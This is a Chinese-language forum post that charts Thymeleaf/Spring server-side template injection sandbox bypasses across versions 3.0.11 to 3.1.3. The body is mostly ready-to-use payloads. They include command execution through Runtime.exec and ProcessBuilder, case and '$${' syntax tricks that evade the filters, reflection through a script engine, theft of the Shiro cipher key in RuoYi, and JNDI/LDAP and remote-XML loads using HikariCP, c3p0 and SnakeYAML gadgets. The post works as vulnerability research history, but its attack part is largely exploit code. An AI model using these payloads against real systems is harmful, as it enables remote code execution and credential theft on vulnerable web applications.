找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1007

积分

0

好友

145

主题
发表于 5 天前 | 查看: 18| 回复: 0

本文将系统梳理Thymeleaf(特别是与Spring集成时)的服务器端模板注入(SSTI)漏洞及其在多个版本中的绕过历史,分析其安全机制的演变过程。

1. Thymeleaf 3.0.11 及之前:无限制执行

在早期版本中,Thymeleaf 模板表达式引擎的沙箱限制较弱,允许执行任意SpEL表达式。例如,可以无限制地使用以下Payload执行系统命令:

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.

重要提示:Thymeleaf 核心库的部分安全检测逻辑位于 thymeleaf-spring5 模块中。因此,修复此类漏洞时,需要同时升级 thymeleafthymeleaf-spring5 两个依赖至相同版本。

<dependency>
    <groupId>org.thymeleaf</groupId>
    <artifactId>thymeleaf</artifactId>
    <version>3.0.11.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.thymeleaf</groupId>
    <artifactId>thymeleaf-spring5</artifactId>
    <version>3.0.11.RELEASE</version>
</dependency>

2. Thymeleaf 3.0.12:初步检测与绕过

版本 3.0.12 引入了检测函数 org.thymeleaf.spring5.util.SpringStandardExpressionUtils.containsSpELInstantiationOrStatic(),主要限制两点:

  1. 不允许出现 new 关键词(检测时做了反转处理),但可以使用 New 进行大小写绕过。
    Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 1
  2. T 后面不能直接接 (,但可以通过添加空格绕过。
    Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 2

组合利用后的Payload如下:
__${#response.addHeader("cmd",New java.util.Scanner(T (java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next())}__::.

3. Thymeleaf 3.0.14:检测升级与新绕过点

此版本升级了检测逻辑到 containsSpELInstantiationOrStaticOrParam(),并增加了对 param 的检测(同样可通过大小写绕过)。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 3

T 的检测(isPreviousStaticMarker())更加严格,基本封死了利用 T 的可能。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 4

关键绕过:在 containsExpression() 函数中,对 $*#@~ 后紧跟 { 的情况进行了检查。但如果 $*#@~ 后面是一个非空格字符,即使再跟 { 也会被允许。这使得 $${ 成为新的绕过关键。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 5

新的利用Payload:
__|$${#response.addHeader("cmd","test")}|__::.
__|$${#response.addHeader("cmd",New java.util.Scanner(New ProcessBuilder("cmd","/c","whoami").start().getInputStream()).next())}|__::.

4. Thymeleaf 3.0.15:引入黑名单

thymeleaf-spring5 的检测逻辑未变,但在 thymeleaf 核心库的 org.thymeleaf.util.ExpressionUtils.isTypeAllowed() 中引入了黑名单机制。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 6

绕过思路转为使用黑名单之外的类。最简单的无危害PoC:
__|$${#response.addHeader("cmd",New java.lang.String("123"))}|__::.

通过反射调用进行利用:
__|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('whoami').getInputStream())"))}|__::.

在实际应用如若依(Ruoyi)4.8.1框架中,可利用其获取Shiro的密钥:
__|$${#response.addHeader("cmd",#response.getClass().forName("org.springframework.util.Base64Utils").encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.

也可以利用Spring的ClassLoader(注意长度限制):
__|$${"".getClass().forName("org.springframework.cglib.core.ReflectUtils").defineClass("test.CmdCalc","".getClass().forName("org.springframework.util.Base64Utils").decodeFromString("yv66XXXX"),New javax.management.loading.MLet(New java.net.URL[0],#response.getClass().getClassLoader())).newInstance()}|__::.

5. Thymeleaf 3.1.0:禁用默认对象与黑白名单

此版本新增安全措施,禁用了默认的 request/session/servletContext/response 表达式对象。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 7

但可以通过 #ctx 上下文对象间接获取 response,此方法一直到 3.1.3 版本都有效:
__|$${#ctx.getExchange().getNativeResponseObject().addHeader("cmd","test")}|__::.

黑名单机制也变为黑白结合的模式(org.thymeleaf.util.ExpressionUtils)。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 8

分析发现,白名单检查通过则直接放行,否则会进一步检查黑名单(BlockedPackage)。而 getClass() 方法会被直接放行,不在黑名单中的类也会被放行,因此主要依赖仍是黑名单。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 9
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 10

利用黑名单外的Spring表达式类进行绕过:
__|$${"".getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("New javax.naming.InitialContext().lookup('ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho')").getValue()}|__::.
__|$${New org.springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:5667/1.xml")}|__::.

6. Thymeleaf 3.1.1 & 3.1.2:扩展黑名单

3.1.1 版本继续增加了黑名单,对现有利用链影响不大。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 11

3.1.2 版本再次扩展黑名单,封堵了之前利用的Spring相关类。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 12

由于 NewforName() 仍然可用,利用思路转向寻找第三方依赖中存在风险且未被Thymeleaf黑名单收录的类,这些类常被用于Java反序列化漏洞的利用链中:
__|$${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho")}|__::.
__|$${New com.mchange.v2.c3p0.WrapperConnectionPoolDataSource().setUserOverridesAsString("HexAsciiSerializedMap:ACED0000000000;")}|__::.
__|$${New org.yaml.snakeyaml.Yaml().load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho', autoCommit: true}")}|__::.

7. Thymeleaf 3.1.3:限制Class方法

此版本对 Class 对象的方法增加了白名单限制,只允许调用 getNameisAssignableFrom 等少数方法,因此 forName() 被禁用。
Thymeleaf SSTI漏洞演进与绕过史:从3.0.11到3.1.3版本安全修复深度分析 - 图片 - 13

New 关键字依然可用,因此 3.1.2 版本中基于 New 的第三方依赖利用链依然有效。

总结与展望

纵观Thymeleaf SSTI漏洞的攻防历史,主要围绕以下几个核心点展开:

  1. 语法绕过:使用 $${ 绕过了对 ${ 的封锁。
  2. 关键词绕过:使用 New 绕过了对 new 的检测,TforName 相继被封锁。
  3. 类库黑名单绕过:不断寻找并利用黑名单之外的、具有危险功能的Java类库

未来的修复方向可能集中在:加强对 new 的大小写校验、彻底封锁 $${ 语法、以及更精细化的类/方法沙箱控制。对于攻击者而言,即使上述三点被修复,仍需探究在SSTI上下文下执行多行代码的可能性(例如利用分号),这或许将成为新的研究突破口。




上一篇:Redis Shell脚本实战:服务部署运维与一键启停状态监控
下一篇:Linux基金会正式接管MCP协议,AI代理生态标准走向开放治理
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 21:38 , Processed in 0.106236 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表